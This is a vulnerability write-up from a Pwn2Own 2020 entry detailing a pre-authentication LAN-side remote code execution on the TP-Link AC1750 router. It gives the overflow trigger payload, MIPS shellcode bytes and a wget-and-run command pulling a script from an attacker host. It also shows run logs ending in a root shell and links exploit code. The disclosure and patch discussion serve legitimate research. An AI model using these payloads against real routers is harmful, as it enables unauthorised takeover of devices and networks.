Pwn2Own Tokyo 2020: Defeating the TP-Link AC1750

Rédigé par Thomas Chauchefoin , Kevin Denis - 01/03/2021 - dans Exploit - Téléchargement
A team of Synacktiv security experts participated to the last edition of Pwn2Own by submitting a LAN-side exploit against the TP-Link AC1750. This blogpost aims to describe the process of discovery and exploitation of this vulnerability, including the presentation of exploitation code.

Introduction

This article describes a pre-authenticated remote code execution vulnerability found in the TP-Link AC1750 Smart Wifi Router.

The vulnerability resides in the sync-server daemon, running on the TP-Link Archer A7 (AC1750) router. This vulnerability can be remotely exploited by an attacker on the LAN side of the router, without authentication. The sync-server does not respond to network requests, but parses some data written in a shared memory by the tdpServer daemon. By sending carefully choosen data to tdpServer and appropriate timings, arbitrary code execution in sync-server is achieved and attacker gains total control of the router with highest level of privileges. This vulnerability is referenced under the CVE-2021-27246.

Debugging environment

After obtaining the test devices (both a TP-Link C7 v5 and a TP-Link A7 v5), we wanted to obtain a shell and setup a debugging environment. The 4 usual UART pins can easily be found and associated to their function, but we noticed that the device was completely ignoring our keystrokes. This behavior is described in OpenWRT documentation along with the solution, soldering router's TX pin to the right PCB trace:

Soldering TX (from https://openwrt.org/toh/tp-link/archer-c7-1750)
Soldering TX (from https://openwrt.org/toh/tp-link/archer-c7-1750)

We used buildroot to create a MIPS32 big endian toolchain with the right options (eg. BR2_MIPS_SOFT_FLOAT=y, BR2_TOOLCHAIN_BUILDROOT_LIBC="musl") and compiled gdbserver, strace and a busybox with most applets.

As side note, it was also noticed that TP-Link does not prevent firmware downgrades, ultimately allowing to flash a firmware with known vulnerabilities to gain root on the device and ease further vulnerability research.

tdpServer

Among the services listening on the LAN, tdpServer was previously researched and exploited at Pwn2Own. This service can be reached over UDP on port 20002, an uses a proprietary protocol named TDP. At 2 least blogposts explain in details how the TPD protocol works:

Briefly resumed, this daemon handles multiple types of TDP packets and parses data sent in JSON form. Depending on the type and the opcode, encryption may be required, either with an hardcoded AES key or a fixed XOR. Header of the packet has a fixed size, and payload follows:

After some initial research, we did not identify any vulnerability in tdpServer (and we were wrong, last year's bug was not correctly fixed and a command injection still existed one layer lower, in a compiled Lua script called by tdpServer). We still noticed that the handler for the type 0xF8 (OneMesh), opcode 0x0007 (slave_key_offer), performed further actions like adding data to a SHM segment after a loose validation of the input data (a JSON dictionary stored inside the field payload). We craft a payload to reach this code path and decided to move on and analyse any consumer of this SHM:

{
  "method": "slave_key_offer",
  "data": {
    "group_id": "1",
    "ip": "1.3.3.7",
    "slave_mac": "00:11:22:33:44:55",
    "slave_private_account": "admin",
    "slave_private_password": "admin",
    "want_to_join": true,
    "model": "pwned",
    "product_type": "tplink",
    "operation_mode": "whatever",
    "signal_strength_24g": 2,
    "signal_strength_5g": 2,
    "link_speed_24g": 1,
    "link_speed_5g": 1,
    "level": 3,
    "connection_type": "whatever"
  }
}

Vulnerability in sync-server

After searching binaries with imports to shmat, we identified sync-server. Its goal is to synchronize data from tdpServer and output JSON files in /tmp, for other processes to consume (eg. the web interface). The function

_handle_request_clients_async is periodically called and reads data from the shared memory filled by tdpServer and  parses its contents using a function named onemesh_listDevices:

Then, it copies two fields (ip and mac) to a local stack array of 64 slots ([1]). It can be noticed that these values are copied two by two in the array, effectively filling two slots by iteration ([2] and [3]). Since no bound checking is performed, a SHM containing more than 32 devices will overflow this array and allow to overwrite $fp and $ra with pointers to the heap (copy of the fields ip and mac that were in the SHM):

The debug log helps to follow the number of OneMesh devices that were being processed. Here is a log when 3 packets have been sent to tdpServer and correctly processed by sync-server:

sync-server:_handle_request_clients_async:2494: [DBG] count is 3

After sending 50 packets to tdpServer and waiting a bit, a crash in sync-server occurs:

root@ArcherC7v5:~# sync-server
[...]
sync-server:_handle_request_clients_async:2494: [DBG] count is 49
sync-server:_handle_request_clients_async:2503: [DBG] Infile: /tmp/sync-server/request-input-2046063169-25104
sync-server:_handle_request_clients_async:2508: [DBG] Outfile: /tmp/sync-server/request-output-1502619911-25104
Illegal instruction

Exploitation

Defeating ASLR

This vulnerability is a very interesting: the saved registers are not overwritten with payload data, but with pointers to controlled data. It means that when $ra will be restored from the stack, it will point automagically to controlled data! As the heap segment is RWX, direct code execution is gained and ASLR is bypassed without any effort. Dynamic analysis shows that $ra is restored from a pointer to the mac field, meaning that we can put our shellcode in it to see it executed.

Overflow

As seen before, the MAC address sent in the JSON string must pass a JSON syntax and format checker, limiting each character of the payload to a small subset of the [0x00-0xff] range. Writing alphanumerics shellcode can be interesting, but tdpServer limits the size of a mac address to 17 bytes, which is short as MIPS instructions are 4-bytes long.

By studying the JSON parser, it has been found that unicode encoding such as \u00xx can be used in order to write any byte in the set [0x01-0xff] in the shared memory. This doesn’t seems to be a legit escaping (Python refuses it, for example), but works and widens our control over the data sent in the shared memory. The only constraint left is to avoid null bytes.

Shellcoding with less than 4 instructions

The sync-server has an import of system() at a known address as the binary is compiled without PIE, and luckily, the opcode won't contain any null byte:

0C 10 07 14 jal system

So, the mac address can begin with "\u000c\u0010\u0007\u0014".

The address of the command to be run should be placed in the $a0 register (and is placed after the jal system, due to the speculative calls in MIPS). Once again, the state of the program when triggering the bug helps a lot, because at the function epilogue some registers are restored from stack (registers $s0 to $s7), and the stack is filled with pointers to ip and mac. Registers $s0 to $s7 will then contain pointers to strings which is exactly what is needed. The $s2 register points to an ip value—it is possible to move the $s2 to $a0 with this opcode that does not contain any null byte:

02 40 20 25 move $a0,$s2

Afterwards, $a0 points to fully controlled data. The final shellcode we used is "\u000c\u0010\u0007\u0014\u0002\u0040\u0020\u0025".

This way, command execution through sync-server is achieved and arbitrary commands can be launched. Practically, a unique value (monotonous counter) is appended to each of the 50 mac addresses because tdpServer have a kind of deduplication routine. With this unique id, all data is guaranteed to be unique and pushed to the shared memory. Relatively, "cmd;num_id" is used as ip value for the same de-duplication avoidance reason.

Timings

The vulnerable function is called "async", and it has been observed that it is called each 80 seconds. The attacker have to send data, and wait 80s. No work has been made in order to analyze or speed up the process.

Get remote shell with the help of tddp

One last problem remains: how to get a remote shell? Only one command can be started because sync-server crashes because of our shellcode. The length of the command is quite short, 12 bytes if an id is used: "cmd;num_id", 15 bytes at most. As there isn't telnetd or netcat, the best approach at this point appeared to launch the tddp binary, a debugging daemon not started by default and riddled with trivial vulnerabilities which have been described in the past (eg. https://mjg59.dreamwidth.org/51672.html).

The script and exploit have been slightly adapted and a command injection with a Lua bind shell is executed on the target device. Once again, the attack is limited by the size of the injection command, but there is enough room to download a shell script, and execute it:

wget http://attacker_ip:8000/pwn.sh && chmod +x pwn.sh && ./pwn.sh

This way, the attacker gets a shell. As all daemons run as root (tdpServer, sync-server and tddp), the attacker gets highest level of privileges on the device. As a reminder, this vulnerability was only used to make our exploit more reliable for Pwn2Own and is definitely not necessary to gain the initial code execution.

Exploit

We split the exploitation code in 4 files:

  • exploit.sh: instantiation of the HTTP server, orchestration of the two exploits, etc.
  • tdpwn.py: association of numerous
  • tdp.py: exploitation of the command injection discussed earlier;
  • pwn.sh: commands to be executed on the router (eg. a Lua bind shell)

The Pwn2Own version also bundled a Lua script responsible of the "lightshow" by writing to /sys/devices/platform/leds-gpio/leds/*/brightness.

The scripts are available on GitHub, at https://github.com/synacktiv/CVE-2021-27246_Pwn2Own2020. After setting your IP address to 192.168.0.100, run exploit.sh and wait enough time, you should obtain a reverse shell:

$ bash exploit.sh 
[+] Launching web server for distribution of pwn.sh
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
INFO:tdpwn:Associating 49 onemesh clients...
INFO:tdpwn:Done!
    And wait for 80 seconds...
80 seconds left...
70 seconds left...
60 seconds left...
50 seconds left...
40 seconds left...
30 seconds left...
20 seconds left...
10 seconds left...
[+] Trying to exploit the tddp injection
INFO:tdp:Preparing tddpv1_configset payload
INFO:tdp:Sending payload

[+] Trying the root shell (Low probability of success...)
nc -v 192.168.0.1 12345
nc: connect to 192.168.0.1 port 12345 (tcp) failed: Connection refused

[ ] If shell hasn't succeed, don't worry, we retry 

INFO:tdpwn:Associating 49 onemesh clients...
INFO:tdpwn:Done!
    And wait for 80 seconds...
80 seconds left...
70 seconds left...
60 seconds left...
50 seconds left...
40 seconds left...
30 seconds left...
20 seconds left...
10 seconds left...
[+] Trying to exploit the tddp injection
INFO:tdp:Preparing tddpv1_configset payload
INFO:tdp:Sending payload
192.168.0.1 - - [30/Nov/2020 12:10:59] "GET /pwn.sh HTTP/1.1" 200 -

[+] Trying the root shell (High probability of success...)
nc -v 192.168.0.1 12345
Connection to 192.168.0.1 12345 port [tcp/*] succeeded!
uname -a
Linux ArcherA7v5 3.3.8 #1 Mon Sep 14 19:52:46 CST 2020 mips GNU/Linux
id
uid=0(root) gid=0(root)
^C[-] Stopping Webserver, now
Terminated

There isn’t any kind of control over sync-server. It is just known that some callbacks are launched periodically to force the parsing of the shared memory. There is no other solution than to wait. It also has been observed that the first launch of exploit almost always fails because sync-server only parse 20 to 30 new devices from the shared memory at first for unknown reasons, so vulnerability is not triggered. To improve reliability, the attack can be re-launched and probability of success exceed 99%. If it fails again, a third attempt always win. The exploit expects 80 seconds for timers to wake up sync-server, so a shell usually pops after 160 seconds.

Patch

TP-Link has published a patch on their website (https://www.tp-link.com/us/support/download/archer-c7/#Firmware) and Releases Notes says:

Modifications and Bug Fixes:

1. Fix the vulnerabilities of modules such as OneMesh and IPv6 to enhance device security;
(...)

and the bug has been adressed. In the vulnerable function, it is now checked that the array is never overflowed:


v10 is the counter of ip and mac. This way, even if the shared memory contains more than 64 objects, the array won't get overflowed.

Conclusion

This is how we achieved a LAN-side pre-authenticated RCE on the TP-Link AC1750 Smart Wifi Router. We would also like to thank the ZDI team working on Pwn2Own for their advice and the flawless organization of the event.There are still plenty of functionalities we did not research in detail, see you next year!